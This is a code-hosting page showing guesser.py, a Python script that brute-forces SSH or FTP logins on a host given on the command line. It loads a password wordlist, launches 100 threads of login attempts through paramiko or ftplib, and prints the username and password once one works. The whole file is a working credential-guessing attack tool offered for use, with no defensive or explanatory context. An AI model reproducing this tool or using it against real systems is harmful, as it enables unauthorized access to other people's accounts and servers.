-
Notifications
You must be signed in to change notification settings - Fork 0
/
guesser.py
85 lines (69 loc) · 2.62 KB
/
guesser.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import ftplib, paramiko, socket
import threading, queue, sys, time
guessed = False
correct_password = ''
threads = []
def ssh_guesser(hostname, username):
global guessed, correct_password
sshclient = paramiko.SSHClient()
sshclient.set_missing_host_key_policy(paramiko.AutoAddPolicy())
while not guessed and not q.empty():
password = q.get()
try:
sshclient.connect(hostname=hostname, username=username, password=password, timeout=5)
print(f"[+] Correct combination found:\nUsername: {username}\nPassword: {password}")
guessed = True
correct_password = password
except socket.timeout:
print("[-] Host is unreachable! Exiting...")
except paramiko.AuthenticationException:
pass
except paramiko.SSHException:
print("[-] Quota exceeded! Exiting...")
time.sleep(1)
sshclient.close()
q.task_done()
def ftp_guesser(hostname, username):
global guessed, correct_password
ftpclient = ftplib.FTP()
while not guessed and not q.empty():
password = q.get()
print(f"[+] Trying...{password}")
try:
ftpclient.connect(hostname, 21, timeout = 3)
ftpclient.login(username, password)
print(f"[+] Found valid combo\nUsername: {username}\nPassword: {password}")
guessed = True
correct_password = password
except:
pass
q.task_done()
q = queue.Queue()
hostname = sys.argv[1]
username = sys.argv[2]
type = sys.argv[3]
if type == "ssh":
with open('wordlists/password_list', 'r') as file:
for password in file.read().splitlines():
q.put(password)
for i in range(100):
t = threading.Thread(target=ssh_guesser, args=(hostname, username), daemon=True)
t.start()
threads.append(t)
if type == "ftp":
with open('wordlists/password_list', 'r') as file:
for password in file.read().splitlines():
q.put(password)
for i in range(100):
t = threading.Thread(target=ftp_guesser, args=(hostname, username), daemon=True)
t.start()
threads.append(t)
for t in threads:
t.join()
while True:
if guessed == True:
print(f"[+] Valid login details found:\nUsername: {username}\nPassword: {correct_password}")
exit()
elif guessed == False and q.empty():
print("[-] No valid login details found!")
exit()